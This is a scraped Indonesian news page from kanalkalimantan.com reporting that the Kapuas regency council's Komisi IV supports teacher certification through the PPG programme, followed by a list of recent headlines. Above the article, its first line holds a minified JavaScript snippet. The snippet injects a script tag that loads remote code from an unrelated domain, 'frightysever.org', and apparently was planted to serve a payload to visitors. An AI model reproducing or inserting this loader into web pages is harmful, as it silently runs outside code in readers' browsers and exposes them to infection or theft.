(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Komisi IV Dukung Upaya Guru Tingkatkan Kompetensi Lewat PPG


KANALKALIMANTAN. COM, KUALA KAPUAS – Komisi IV DPRD Kabupaten Kapuas menerima kedatangan pengurus PGRI serta Kepala Kemenag Kapuas membahas tentang PPG (Pendidikan Profesi Guru) di Kabupaten Kapuas.

“Kita dukung aspirasi tersebut untuk mendorong para pelaku pendidikan di Kapuas lebih baik sesuai dengan ketentuan yang berlaku,” kata Ketua Komisi IV DPRD Kabupaten Kapuas H Ahmad Baihaqi setelah pertemuan di ruang rapat gabungan komisi, Rabu (4/3/2020).

Menurut politisi PKB ini, guru adalah profesi yang mulia, sertifikasi guru ini dilaksanakan berdasarkan Undang-Undang Nomor 14 tahun 2005 tentang guru dan dosen (UUGD) yang disahkan 30 Desember 2005.  Pasal 1 ayat (11) UUGD membuat tentang pemberian sertifikat pendidik untuk guru dan dosen.

“Sertifikasi guru sangat perlu guna memastikan guru memiliki kemampuan kualifikasi akademik, kompetensi, sertifikasi pendidik, sehat jasmani dan rohani serta memiliki kemampuan untuk mewujudkan tujuan pendidikan nasional,” tegas Baihaqi.

Tahun 2019, pola sertifikasi guru adalah dengan menggunakan jalur PPG (Pendidikan Profesi Guru) yang terdiri dari dua jalur yaitu PPGJ (Pendidikan Profesi Guru dalam Jabatan) dan PPG Pra Jabatan untuk Sarjana yang belum menduduki jabatan sebagai guru.

Usulan diterima untuk mengikuti PPG di Kapuas bagi guru lingkup Kemenag (PAI) sebanyak 39 orang dan lingkungan Diknas 78 orang, jadi totalnya sebanyak 117 orang guru.

Asisten I Sekda Kapuas Ilham Anwar menyambut positif keinginan para guru di Kapuas tersebut. “Dipastikan,  dari hasil pertemuan tersebut akan melihat lebih dahulu dari ketersediaan anggaran pemerintah daerah terlebih dahulu,” kata Ilham Anwar.

Setelah itu, apakah tersedia anggaran atau tidak itu nanti, secara bertahap yang disepakati ikut Diklat PPG yang sudah lulus dan untuk berikutnya akan disusun pihak teknis.

Sementara itu, Kepala Kantor Kemenag Kabupaten Kapuas H Ahmad Bahruni, guru di lingkungan Kemenag Kabupaten Kapuas yang belum lulus seleksi PPG sebanyak 39 orang.

“Adanya aturan dan regulasi, maka kita memohon partisipasi pemerintah daerah, kita apresaisi kepada Komisi IV dewan Kapuas,” ucap H Ahmad Bahruni. (kanalkalimantan.com/ags)

Reporter : ags
Editor : bie

 


Al Ghifari

Recent Posts

‎Satlantas Polres HSU Bersama Ojol Mitra Tertib Berlalu Lintas ‎

‎KANALKALIMANTAN.COM, AMUNTAI - ‎Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More

16 jam ago

Jemaah Haul ke-6 Abah Haji Penuhi Jalan Masjid Jami Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Muhammad Zuhdianoor atau dikenal Abah Haji… Read More

17 jam ago

Satgas Saber Pangan HSU Turun ke Pasar Induk Amuntai

KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More

18 jam ago

Bupati Banjar Ingatkan Kantor Desa Garda Terdepan Pelayanan dan Bebas Pungli

KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur meresmikan tiga kantor desa dan Taman Pendidikan… Read More

18 jam ago

Cuti Bersama Tahun Baru Imlek, PTAM Intan Banjar Sesuaikan Jam Kerja Kantor Pelayanan

KANALKALIMANTAN.COM, BANJARBARU – Jam pelayanan dan jam kerja di kantor pelayanan PT Air Minum (PTAM) Intan… Read More

19 jam ago

Bapokting Naik, Wakil Wali Kota Ananda: Jangan Sampai Panic Buying!

KANALKALIMANTAN.COM, BANJARMASIN - Wakil Wali Kota Banjarmasin, Hj Ananda mengimbau masyarakat untuk tidak panic buying… Read More

1 hari ago

This website uses cookies.